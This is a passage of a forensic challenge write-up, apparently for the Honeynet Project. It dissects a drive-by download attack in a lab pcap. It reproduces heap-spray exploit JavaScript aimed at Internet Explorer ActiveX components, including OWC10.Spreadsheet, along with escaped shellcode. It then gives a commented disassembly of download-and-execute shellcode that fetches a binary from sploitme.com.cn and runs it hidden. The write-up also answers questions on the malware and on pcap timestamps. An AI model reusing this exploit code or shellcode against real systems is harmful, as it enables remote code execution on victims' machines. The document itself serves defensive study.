%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCF1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D
%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u0AB%u8A6C
%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%u0C33%u5050%u8B56%u0455%u0283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u373D");
            var hbs=0x100000;
            var sss=hbs-(shcode.length*2+0x38);
            var hb=(0x0c0c0c-hbs)/hbs;
            var myvar=unescape("%u0C0C%u0C0C");
            var ss=myvar;
            while(ss.length*2<sss){

```

```

        ss+=ss;
    }
    ss=ss.substring(0,sss/2);
    var m=new Array();
    for(var i=0;i<hb;i++){
        m[i]=ss+shcode;
    }
    var z=Math.ceil(0x0c0c0c0c);
    z=document.scripts[0].createControlRange().length;
    }
}
catch(e){}
spreadsheet();
}

function spreadsheet(){
    try{
        var objspread=new ActiveXObject('OWC10.Spreadsheet');
    }
    catch(e){}
    if(objspread){
        try{
            var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD
%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A
%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F
%u0314%uF238%u0874%uCF1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B
%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFA2%uFFFF%u032%uF78B
%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E
%uFFEC%u0455%u5093%u0C33%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF
%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F
%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u383D");
            var array=new Array();
            var ls=0x81000-(shellcode.length*2);
            var bigblock=unescape("%u0b0c%u0b0c");
            while(bigblock.length<ls/2){
                bigblock+=bigblock;
            }
            var lh=bigblock.substring(0,ls/2);
            delete bigblock;
            for(var i=0;i<0x99*2;i++){
                array[i]=lh+lh+shellcode;
            }
            CollectGarbage();
            var objspread=new ActiveXObject("OWC10.Spreadsheet");
            e=new Array();
            e.push(1);
            e.push(2);
            e.push(0);
            e.push(window);
            for(i=0;i<e.length;i++){
                for(j=0;j<10;j++){
                    try{
                        objspread.Evaluate(e[i]);
                    }
                    catch(e){}
                }
            }
            window.status=e[3]+"";
            for(j=0;j<10;j++){
                try{
                    objspread.msDataSourceObject(e[3]);
                }
                catch(e){}
            }
        }
        catch(e){}
    }
    Complete();
}
mdac();

```

This time 5 new functions are defined, and all are vulnerability exploits targeting a Windows platform:

- aolwinamp()
 - tries to exploit a vulnerability in AmpX.dll ConvertFile() function. (BID-35028)
- directshow()
 - tries to exploit a stack-based buffer overflow in CComVariant::ReadFromStream function in the Active Template Library (ATL) (CVE-2008-0015)
- snapshot()
 - tries to exploit a vulnerability in the Microsoft Office Snapshot Viewer in snapview.ocx (CVE-2008-2463)
- com()
 - tries to exploit a vulnerability in the COM object instantiation. The clsid used, particularly targets msdds.dll (MS05-052 / CVE-2005-2127)
- spreadsheet()
 - tries to exploit a vulnerability (heap corruption) in MS Office Web Components Spreadsheet using the msDataSourceObject method (MS09-043 / CVE-2009-2496)

All these attacks, except mdac() and snapshot(), use a shellcode executed during a successful exploitation. Mdac() and snapshot() exploited vulnerabilities don't need to use a shellcode to download a binary and write it to disk. Instead the correct deviation of certain methods permit the attacker to have the job done without any shellcode.

These functions (or exploits) are launched in a particular order, and analysing this script reveal that the CheckIP() function is used to verify if the victim was successfully exploited.

Here are the steps of the attack

mdac() →

if CheckIP() : true (exploit successful) → Complete() : End of the attack

else →

aolwinamp() →

directshow() →

if CheckIP() : true (exploit successful) → Complete() : End of the attack

else →

snapshot() → com() → spreadsheet() → Complete() : End of the attack

Looking at 10.0.4.15 http sessions with the exploit server ,we can see that it has downloaded and queried multiple malware urls:

- /fg/load.php?e=1 (2 times)
- /fg/load.php?e=3 (1 time)

The first url is referenced by a variable used in the mdac() exploit, and like 10.0.3.15 has done previously, 10.0.4.15 will request this url twice. But no reference to the second url is visible (or at least readable) in the script. This mean that it will surely used in one of the shellcode used during one of the attacks.

Later the analysis of the shellcodes will reveal that this url is used in the aolwinamp() shellcode, meaning that 10.0.4.15 was also vulnerable to this attack and was exploited twice.

Question 7. On the malicious URLs at what do you think the variable 's' refers to? List the differences.	Possible Points: 2pts
Tools Used:	
<p>Answer 7.</p> <p>Two values of the 's' variable have been observed in the pcap file:</p> <ul style="list-style-type: none"> • 3feb5a6b2f • 84c090bd86 <p>These values are identical to the value of the “click” parameter used in the <iframe> redirection on the compromised sites. These values may be used as a kind of exploit script selector.</p> <p>The two hosts, IP address 10.0.3.15 and 10.0.4.15, appear to use the same kind of configuration (Windows XP SP2 / IE 6). And due to the suspected nature of the client setup (VM in a VB environment), their geographic locations are surely the same.</p> <p>Now, If we look at their network traffic, we can observe that depending on the 's' value the length of the script (and number if exploits embedded) is different.</p> <p>I suspect that the type of the exploit script is bound to the value of 's'.</p> <p>However, this variable seems to be optional because the observation of 10.0.5.15 HTTP traffic reveals that even without this parameter set, a script is still sent to the victim browser.</p>	

Question 8. Which operating system was targeted by the attacks? Which software? And which vulnerabilities? Could the attacks been prevented?	Possible Points: 4pts
Tools Used:	
<p>Answer 8.</p> <p>All the exploits found in the malicious javascripts target all MS Windows platforms. (98, 98SE, ME, 2000, XP, 2003, Vista, 2008)</p> <p>The software that could be exploited:</p> <ul style="list-style-type: none"> • Microsoft Data Access Components 2.7 and 2.8 SP1 and SP2 • AOL Radio AmpX ActiveX (AmpX.dll 2.4.6) • DirectShow • Microsoft Access 2000 to 2003 • Internet Explorer 5 , IE 5.5 , IE 6 • MS Office XP , MS Office 2003, MS Office 2000, 2003 and XP Web components <p>For the vulnerabilities targeted: see Answer to question 6 (Page 32/39)</p> <p>Most of these attacks could have been prevented by installing the security updates given by the editor of the vulnerable applications. But it seems that no patch is actually supplied to prevent the AmpX.dll exploit.</p> <p>However, all the attack process relies on the use of client-side scripting and the use of ActiveX objects, so disabling the use of javascript and ActiveX in Internet Explorer could have prevented all these attacks.</p>	
Question 9. What actions does the shellcodes perform? Please list the shellcodes (+md5 of the	Possible Points: 8pts

binaries). What's the difference between them?

Tools Used: mkcarray.cl, ollydbg

Answer 9.

four exploits try to use a shellcode:

- aolwinamp()
- directshow()
- com()
- spreadsheet()

To analyze these shellcodes I've used mkcarray to convert the shellcode strings extracted from the javascript to C files, and the compiled these files with cl.

The shellcode analysis reveals that the same kind of shellcode is used in the four attacks. The only difference between them being an url string. This shellcode is a kind of Download/Execute shellcode. Basically, it uses URLDownloadToFile to download a binary file via HTTP and write it on disk, and then uses WinExec to execute this file on the victim's computer.

Here's the commented shellcode for the aolwinamp() exploit:

```

0040A001 33C0 XOR EAX,EAX
0040A003 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30] ; PEB
0040A007 78 0C JS SHORT shell_ao.0040A015
0040A009 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
0040A00C 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C]
0040A00F AD LODS DWORD PTR DS:[ESI]
0040A010 8B58 08 MOV EBX,DWORD PTR DS:[EAX+8] ; kernel32.dll base addr in EBX
0040A013 EB 09 JMP SHORT shell_ao.0040A01E
0040A015 8B40 34 MOV EAX,DWORD PTR DS:[EAX+34]
0040A018 8D40 7C LEA EAX,DWORD PTR DS:[EAX+7C]
0040A01B 8B58 3C MOV EBX,DWORD PTR DS:[EAX+3C]
0040A01E 6A 44 PUSH 44
0040A020 5A POP EDX
0040A021 D1E2 SHL EDX,1 ;EDX = 0x88
0040A023 2BE2 SUB ESP,EDX ;prepare buffer for GetTempPathA
0040A025 8BEC MOV EBP,ESP
0040A027 EB 4F JMP SHORT shell_ao.0040A078
0040A029 5A POP EDX ;_FindNExec
0040A02A 52 PUSH EDX
0040A02B 83EA 56 SUB EDX,56
0040A02E 8955 04 MOV DWORD PTR SS:[EBP+4],EDX
0040A031 56 PUSH ESI
0040A032 57 PUSH EDI
0040A033 8B73 3C MOV ESI,DWORD PTR DS:[EBX+3C] ; PE header offset
0040A036 8B7433 78 MOV ESI,DWORD PTR DS:[EBX+ESI+78] ; Export Directory Entry
0040A03A 03F3 ADD ESI,EBX
0040A03C 56 PUSH ESI
0040A03D 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20]
0040A040 03F3 ADD ESI,EBX
0040A042 33C9 XOR ECX,ECX ;Function counter
0040A044 49 DEC ECX
0040A045 > 50 PUSH EAX ;Push the researched hash value
0040A046 41 INC ECX
0040A047 AD LODS DWORD PTR DS:[ESI]
0040A048 33FF XOR EDI,EDI
0040A04A 36:0FBFBE1403 MOVSBX EDX,BYTE PTR SS:[EBX+EAX] ; get one byte from name
0040A04F 38F2 CMP DL,DH ;End of function's name ? (==0)
0040A051 74 08 JE SHORT shell_ao.0040A05B ; yes: go to hash cmp
0040A053 C1CF 0D ROR EDI,0D ; ROR + ADD hashing
0040A056 03FA ADD EDI,EDX
0040A058 40 INC EAX ; inc name's char index
0040A059 ^ EB EF JMP SHORT shell_ao.0040A04A
0040A05B 58 POP EAX ; pop hash from stack in EAX
0040A05C 3BF8 CMP EDI,EAX ;Compares Hash values (calculated and hardcoded

```

```

0040A05E ^ 75 E5      JNZ      SHORT <shell_ao.hashloop> ; Do the hashes match ? No: take next
exported function name
0040A060      5E      POP      ESI ; Else we have found our function
0040A061      8B46 24  MOV     EAX,DWORD PTR DS:[ESI+24] ; Now searching function address
0040A064      03C3      ADD     EAX,EBX
0040A066      66:8B0C48 MOV     CX,WORD PTR DS:[EAX+ECX*2]
0040A06A      8B56 1C  MOV     EDX,DWORD PTR DS:[ESI+1C]
0040A06D      03D3      ADD     EDX,EBX
0040A06F      8B048A  MOV     EAX,DWORD PTR DS:[EDX+ECX*4]
0040A072      03C3      ADD     EAX,EBX ; EAX = Library Base Addr + VA of the function == Function's
addr
0040A074      5F      POP      EDI ;restores regs.
0040A075      5E      POP      ESI
0040A076      50      PUSH     EAX ; push addr of the funct. to call, args are on the stack
0040A077      C3      RETN    ; RETN used as a call
0040A078      8D7D 08  LEA     EDI,DWORD PTR SS:[EBP+8]
0040A07B      57      PUSH     EDI ; Buffer
0040A07C      52      PUSH     EDX ; Buffer size = 0x88 (126 Bytes)
0040A07D      B8 33CA8A5B MOV     EAX,5B8ACA33 ; hash for GetTempPathA
0040A082      E8 A2FFFFFF CALL    shell_ao.0040A029 ; Find and call GetTempPathA
0040A087      32C0      XOR     AL,AL
0040A089      8BF7      MOV     ESI,EDI ; EDI contains the Temp Path => ESI
0040A08B      F2:AE     REPNE   SCAS BYTE PTR ES:[EDI] ; searching the end of the path
string
0040A08D      4F      DEC     EDI
0040A08E      B8 652E6578 MOV     EAX,78652E65 ;'xe.e'
0040A093      AB      STOS   DWORD PTR ES:[EDI] ;
0040A094      66:98     CBW    ;
0040A096      66:AB     STOS   WORD PTR ES:[EDI] ; appends 'e.exe' to temp path.
0040A098      B0 6C     MOV     AL,6C ;6C = 'l'
0040A09A      8AE0     MOV     AH,AL ; = 'll'
0040A09C      98      CWDE   ;
0040A09D      50      PUSH     EAX ; 'll'
0040A09E      68 6F6E2E64 PUSH    642E6E6F ; 'd.no'
0040A0A3      68 75726C6D PUSH    6D6C7275 ; 'mlru'
0040A0A8      54      PUSH     ESP ; push string: urlmon.dll
0040A0A9      B8 8E4E0EEC MOV     EAX,EC0E4E8E ; hash for LoadLibraryA
0040A0AE      FF55 04   CALL    DWORD PTR SS:[EBP+4] ; Find and call LoadLibraryA
0040A0B1      93      XCHG   EAX,EBX ; urlmon.dll base address now in EBX , kernel32.dll
base in EAX
0040A0B2      50      PUSH     EAX
0040A0B3      33C0     XOR     EAX,EAX
0040A0B5      50      PUSH     EAX
0040A0B6      50      PUSH     EAX
0040A0B7      56      PUSH     ESI ; push path to binary (%TMP%\e.exe)
0040A0B8      8B55 04   MOV     EDX,DWORD PTR SS:[EBP+4]
0040A0BB      83C2 7F   ADD     EDX,7F
0040A0BE      83C2 31   ADD     EDX,31
0040A0C1      52      PUSH     EDX ; push the url :http://sploitme.com.cn/fg/load.php?e=3
0040A0C2      50      PUSH     EAX
0040A0C3      B8 361A2F70 MOV     EAX,702F1A36 ; hash for URLDownloadToFileA
0040A0C8      FF55 04   CALL    DWORD PTR SS:[EBP+4] ; Find and call URLDownloadToFileA
0040A0CB      5B      POP      EBX ; kernel32.7C800000
0040A0CC      33FF     XOR     EDI,EDI
0040A0CE      57      PUSH     EDI ; uCmdShow = SW_HIDE (0)
0040A0CF      56      PUSH     ESI ; lpCmdLine = Path to binary.
0040A0D0      B8 98FE8A0E MOV     EAX,0E8AFE98 ; hash for WinExec
0040A0D5      FF55 04   CALL    DWORD PTR SS:[EBP+4] ; Find and call WinExec
0040A0D8      57      PUSH     EDI
0040A0D9      B8 EFC0EE06 MOV     EAX,60E0CEE0 ; hash for ExitThread()
0040A0DE      FF55 04   CALL    DWORD PTR SS:[EBP+4] ; Find and call ExitThread
0040A0E0      68 74 74 70 3A 2F 2F 73 70 6C 6F 69 74 6D 65 http://sploitme
0040A0F0      2E 63 6F 6D 2E 63 6E 2F 66 67 2F 6C 6F 61 64 2E .com.cn/fg/load.
0040A100      70 68 70 3F 65 3D 33 00 php?e=3.

```

As usual, the shellcode starts with the research of kernel32.dll base address in the PEB and stores it in EBX (0040A010).

An hashing algorithm was used to hardcode the names of the functions needed to make the job done. This algorithm uses ROR and ADD on each letter of the function's name and finally produce a 4 bytes hash. These hash are then used to search the function's addresses in the Export Directory Entry of the libraries (kernel32.dll and urlmon.dll).

Here are the hash of the functions used by the shellcode:

- 5B8ACA33 : Hash for GetTempPathA
- EC0E4E8E : Hash for LoadLibraryA
- 702F1A36 : Hash for URLDownloadToFileA
- 0E8AFE98 : Hash for WinExec
- 60E0CEEF : Hash for ExitThread

This shellcode uses a special procedure to resolve and then executes imported functions. This proc starts at 0040A031 and first tries to find the needed function in the export directory of the loaded library. For each exported function name, it calculates an hash value. This hash value is then compared to an hardcoded value that has been pushed on the stack before calling the proc. When the researched function is found, the same proc uses push/retn as a call. I mean, the proc pushes the function's address onto the stack and then uses ret to call this function. This procedure is used for all the calls to external functions.

Then, the shellcode follows this scheme:

- At 0040A082 calls GetTempPathA to retrieve a path to temporary files. Then, it appends "e.exe" to the retrieved path (look at 0040A087 to 0040A096) . Making a string like : %TMP%\e.exe .This path will be the path used to store the downloaded binary file.
- At 0040A098 to 0040A0A3 some bytes manipulations and pushes are done to construct the string: urlmon.dll
- This string is pushed onto the stack at 0040A0A8, then the hash value of LoadLibraryA is pushed also and a call to the proc at 0040A031 is done to find its address and to call it. The call is done and urlmon.dll is loaded.
- At 0040A0C1 ,the url "<http://sploitme.com.cn/fg/load.php?e=3>" is pushed onto the stack.
- URLDownloadToFileA is called at 0040A0C8 to retrieve a file located at the previously pushed URL. This file will be stored under the name "e.exe" in the temp directory retrieved by the call to GetTempPathA.
- WinExec is called at 0040A0D5 to execute the binary retrieved previously. The WinExec is instructed to execute it in Hide mode (= no display)
- Finally ExitThread is called at 0040A0DE and shellcode terminates.

As said before, the four shellcodes embedded in the different exploits are the same, except for the URL used as an argument for URLDownloadToFileA.

Here are the different values:

- aolwinamp() exploit uses : <http://sploitme.com.cn/fg/load.php?e=3>
- directshow() exploit uses : <http://sploitme.com.cn/fg/load.php?e=4>
- com() exploit uses : <http://sploitme.com.cn/fg/load.php?e=7>
- spreadsheet() exploit uses : <http://sploitme.com.cn/fg/load.php?e=8>

With these new elements in hands, and after having analysed the network behavior of 10.0.4.15, we can conclude that it was first exploited by the MDAC() exploit , so retrieved the binary from <http://sploitme.com.cn/fg/load.php?e=1>. And then it was exploited by the aolwinamp() exploit and has downloaded the binary located at <http://sploitme.com.cn/fg/load.php?e=3>.

The md5 hash of the binaries downloaded is : 52312bb96ce72f230f0350e78873f791

All the downloaded binaries were identical.

<p>Question 10. Was there malware involved? What is the purpose of the malware(s)? (We are not looking for a detailed malware analysis for this challenge)</p>	<p>Possible Points: 4pts</p>
<p>Tools Used:</p>	
<p>Answer 10.</p> <p>If we can define as being a malware an executable that is maliciously downloaded without the consent of a user (and I think so.). Then, yes, there was a malware involved. However, none of the Anti Virus tried has found any malware in the binaries downloaded by the victims.</p> <p>A basic analysis of the binary reveals that it is a kind of downloader or URLretriever using Internet Explorer to retrieve an hardcoded URL. The executable will launch IE on a particular URL that will be displayed on the screen. This URL is stored at the end of the binary (offset 0x2E0D) and is : http://www.honeynet.org</p> <pre style="background-color: #f0f0f0; padding: 5px;"> franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 2/payloads\$ hexdump -Cs 0x2e0d e1.exe 00002e0d 68 74 74 70 3a 2f 2f 77 77 77 2e 68 6f 6e 65 79 http://www.honey 00002e1d 6e 65 74 2e 6f 72 67 00 00 00 00 00 00 00 00 net.org..... 00002e2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 </pre> <p>All the binaries downloaded were identical and pointed to the same URL. This kind of executable can be used to display Advertisements or to make a phishing attack for example.</p> <p>The behavior of the downloaded executable explains the network behavior of 10.0.3.15 and 10.0.4.15. After having downloaded and executed the binary, the two hosts have made an HTTP connection to http://www.honeynet.org. For 10.0.3.15 : at frame #219 For 10.0.4.15 : at frame #541 and #640.</p>	

Bonus

<p>UXVlc3Rpb24gQm9udXMgKGZvcjBmdW4pLiBBZGRpdGlvbmFsIDEgcG9pbnQgZm9yOiaKV2hh dCBjYW4geW91IHRlbGwgYWJvdXQgZGF0ZXMvdGltZT8gQW55dGhpbmVmd3Jvbmc/IENhbiB5 b3UgcHJvcG9zZSBhIHhsYXVzaWJsZSBleHBsYW5hdGlvbj8KRg8geW91IHRoaW5rIHRoYXQg dGhIIIG5ldHdvcmsgY2FwdHVyZSAocGNhcCkgd2FzIG1hZGUgb24gYSBsaXZlIGVudmlyb25t ZW50PyAK</p>
<p>Tools Used: capinfos, tshark, httpdumper, base64</p>
<p>Answer</p> <p>Decoded Question:</p> <pre style="background-color: #f0f0f0; padding: 5px;"> Question Bonus (for fun). Additional 1 point for: What can you tell about dates/time? Anything wrong? Can you propose a plausible explanation? Do you think that the network capture (pcap) was made on a live environment? </pre> <p>According to the pcap file informations, it seems that these attacks have been done on January 1st 2010.</p> <pre style="background-color: #f0f0f0; padding: 5px;"> capinfos suspicious-time.pcap File name: suspicious-time.pcap File type: Wireshark/tcpdump/... - libpcap File encapsulation: Ethernet Number of packets: 745 File size: 305902 bytes Data size: 293958 bytes Capture duration: 231 seconds Start time: Fri Jan 1 01:00:29 2010 End time: Fri Jan 1 01:04:20 2010 Data byte rate: 1274.94 bytes/sec Data bit rate: 10199.51 bits/sec Average packet size: 394.57 bytes Average packet rate: 3.23 packets/sec </pre>

But looking at the HTTP headers in the conversation between 10.0.2.15 and 192.168.56.50 gives some interesting infos: for this I've used a custom ruby script named: httpdumper.

```
httpdumper -r suspicious-time.pcap -c0 -f2 --with-headers
Reading file suspicious-time.pcap
Parsing packets...
745 packets read in 1.410 sec.

Listing flows for conversation 0 with full http headers
-----

Flow Index: 2 10.0.2.15:1063 -> 192.168.56.50:80  REQUEST /images/sslstyles.css Length: 0

-----
HTTP HEADER
-----

Host: rapidshare.com.eyu32.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://rapidshare.com.eyu32.ru/login.php
If-Modified-Since: Tue, 02 Feb 2010 17:38:05 GMT
If-None-Match: "5e472-fef-47ea19070f940"
```

This request used the “If-Modified-Since” request-header field with a date of: February 2nd 2010. This imply that 10.0.2.15 has already visited this page and have cached some entities.

According to RFC2616:

A GET method with an If-Modified-Since header and no Range header requests that the identified entity be transferred only if it has been modified since the date given by the If-Modified-Since header. The algorithm for determining this includes the following cases:

- a) If the request would normally result in anything other than a 200 (OK) status, or if the passed If-Modified-Since date is invalid, the response is exactly the same as for a normal GET. A date which is later than the server's current time is invalid.*
- b) If the variant has been modified since the If-Modified-Since date, the response is exactly the same as for a normal GET.*
- c) If the variant has not been modified since a valid If-Modified-Since date, the server SHOULD return a 304 (Not Modified) response.*

So, if this date was invalid the server would have returned a 200 (OK), but looking at the server response header gives new informations that enforced the fact that date announced in the pcap header informations have been altered:

```
-----
Flow Index: 2 10.0.2.15:1063 -> 192.168.56.50:80  REQUEST /images/sslstyles.css 0
```

```
-----  
HTTP HEADER  
-----  
Host: rapidshare.com.eyu32.ru  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3  
Accept: text/css,*/*;q=0.1  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Connection: keep-alive  
Referer: http://rapidshare.com.eyu32.ru/login.php  
If-Modified-Since: Tue, 02 Feb 2010 17:38:05 GMT  
If-None-Match: "5e472-fef-47ea19070f940"  
  
-----  
Flow Index: 3 192.168.56.50:80 -> 10.0.2.15:1063 RESPONSE HTTP/1.1 304 Not Modified  
0  
  
-----  
HTTP HEADER  
-----  
Date: Tue, 02 Feb 2010 19:05:12 GMT  
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch  
Connection: Keep-Alive  
Keep-Alive: timeout=15, max=99  
ETag: "5e472-fef-47ea19070f940"  
  
-----
```

The “Date” response-header field found in the server's response indicates February 2nd 2010 19:05:12 GMT and the “304 Not Modified” response code enforce the fact that this conversation has been done in February 2010 and not in January.

Plausible causes could be:

1. The capture host as an invalid date and time
2. The timestamps in the pcap file have been altered.

Based on all the analysis, I suspect that this capture has been made on a “Lab environment”. The malicious sites and the clients are surely virtual hosts running on a VirtualBox host. The binary retrieved and most important the URL used by it seem to indicate a fake situation. However, all this stuff could have happened live in the wild, I mean this kind of attack and also the attack process with a Web site dispatching victim to exploit servers.